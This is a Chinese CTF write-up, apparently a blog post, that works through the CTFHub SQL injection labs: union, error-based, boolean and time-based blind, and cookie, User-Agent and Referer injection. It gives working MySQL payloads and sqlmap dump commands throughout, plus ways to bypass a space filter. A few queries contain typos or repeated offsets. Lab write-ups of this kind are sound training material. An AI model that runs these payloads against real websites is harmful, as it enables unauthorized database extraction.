ctfhub-sql注入

整数型注入

行数

1 order by 2

在这里插入图片描述
数据库名

-1 union select 1,database() --

一开始我在后面加上+,但是这个+是在url才可以被当作空格,有点傻了
在这里插入图片描述
表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli' --

在这里插入图片描述
字段

-1 union select 1,group_concat(column_name) from information_schema.columns where column_name='flag' --

在这里插入图片描述
字段值

-1 union select 1,group_concat(FLAG) from flag --

在这里插入图片描述

字符型注入

闭合符号,–后有空格
在这里插入图片描述
过程和上面的一样,数据也一样,所以直接来查字段名

-1' union select 1,group_concat(FLAG) from flag -- 

报错注入

这关为整数型报错

数据库名

-1 and updatexml(1,concat(0x7e,(select database()),0x7e),1) -- 

在这里插入图片描述
表名

-1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='sqli' limit 0,1),0x7e),1) -- 

在这里插入图片描述
字段名

-1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where column_name='flag' limit 0,1),0x7e),1) -- 

在这里插入图片描述
字段值

-1 and updatexml(1,concat(0x7e,(select FLAG from flag limit 0,1),0x7e),1) --

在这里插入图片描述

布尔注入

可以使用burp suit中的intruder进行破解
如果不会的话,这是一个快速入手的文章
使用集束炸弹

数据库名的长度

报错
1 and length(database())>4 --
正确
1 and length(database())>3 --

所以数据库名有4个字符
在这里插入图片描述
在这里插入图片描述
数据库名

1 and ascii(substr(database(),1,1))>0 -- 

在这里插入图片描述

1 and ascii(substr(database(),1,1))=115 -- 

在这里插入图片描述

1 and ascii(substr(database(),2,1))=113 -- 

在这里插入图片描述

1 and ascii(substr(database(),3,1))=108 -- 

在这里插入图片描述

1 and ascii(substr(database(),4,1))=105 -- 

在这里插入图片描述
测sqli中有几张表

1 and (select count(table_name) from information_schema.tables where table_schema=database())=2

表名

第一张表的查询语句
1 and ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 0,1),1,1))=110 -- 
第二张表的查询语句
1 and ascii(substr((select table_name from information_schema.tables where table_schema='sqli' limit 1,1),1,1))=115 -- 

字段名

1 and ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=102

字段值

1 and (ascii(substr(( select flag from flag limit 0,1),1,1)))=100

字段的值有点多(就是我们想要的ctfflag),我们可以使用kali中的sqlmap

我是第一次使用sqlmap,所以需要更新一下sqlmap(sqlmap -update)。

sqlmap -u http://challenge-6fbf17781e411311.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch
  • -u 指定url扫描,但url必须存在查询参数. 例: xxx.php?id=1
  • -D 数据库名字
  • -T 表的名字
  • -C 列的名字
  • –dump 转储数据库表项
  • –batch 从不询问用户输入,使用所有默认配置。
    更多详细的知识
    在这里插入图片描述

报错注入


数据库字符数

1 or if(length(database())=4,sleep(2),1) -- 


数据库名

?id=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)	

?id=1 and if(ascii(substr(database(),2,1))=113,sleep(5),1)	

?id=1 and if(ascii(substr(database(),3,1))=108,sleep(5),1)	

?id=1 and if(ascii(substr(database(),4,1))=105,sleep(5),1)	

表的数量

?id=1 and if((select count(table_name) from informatino_schema.tables where table_schema='sqli')=2,sleep(5),1) 

表名

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=110,sleep(5),1)

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=101,sleep(5),1)

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),3,1))=119,sleep(5),1)

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),4,1))=115,sleep(5),1)

第一张表名为news

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102,sleep(5),1)

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=108,sleep(5),1)

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1))=97,sleep(5),1)

?id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1))=103,sleep(5),1)

第二张表名为flag

字段数

?id=1 and if((select count(column_name) from information_schema.columns where table_name='flag')=1,sleep(5),1)

一个字段

字段名

?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=102,sleep(5),1)

?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=108,sleep(5),1)

?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=97,sleep(5),1)

?id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),1,1))=103,sleep(5),1)

字段值

sqlmap -u http://challenge-11c2ecff1754245a.sandbox.ctfhub.com:10800/?id=1 -D sqli -T flag -C flag --dump --batch

在这里插入图片描述

MySQL结构

数据库名
在这里插入图片描述

表名
在这里插入图片描述

列名

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='wqifscxlnn' --

在这里插入图片描述

列值

-1 union select 1,group_concat(tzjkcxmpln) from wqifscxlnn --

在这里插入图片描述

cookie注入


在cookie那里找注入点,发现有回显,可以结合前面的注入。

-1 union select 1,database() -- 

在这里插入图片描述
爆表名

-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli' --

在这里插入图片描述
爆列名

-1 union select 1,group_concat(column_name)from information_schema.columns where table_name='sbqpzirunv' -- 

在这里插入图片描述
爆列值

-1 union select 1,group_concat(wqyoglpfxr)from sbqpzirunv -- 

在这里插入图片描述

UA注入

-1 union select 1, database() -- 

在这里插入图片描述
和coolie注入一样,只是位置换了

直接出结果(偷偷告诉你,表名变了)
在这里插入图片描述

refer注入

页面如果有cookie,则删掉,再添加Referer
在这里插入图片描述
爆数据库
在这里插入图片描述
同样的,直接出结果
在这里插入图片描述

空格注入

由于过滤了空格致使无法执行注入的语句时,可使用以下字符代替空格,发挥同样效果

():一对圆括号
+:加号
%09、%0a、%0b、%0c、%0d:TAB水平制表符、换行符、垂直制表符、换页、回车的URL编码形式
/**/:块注释符
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值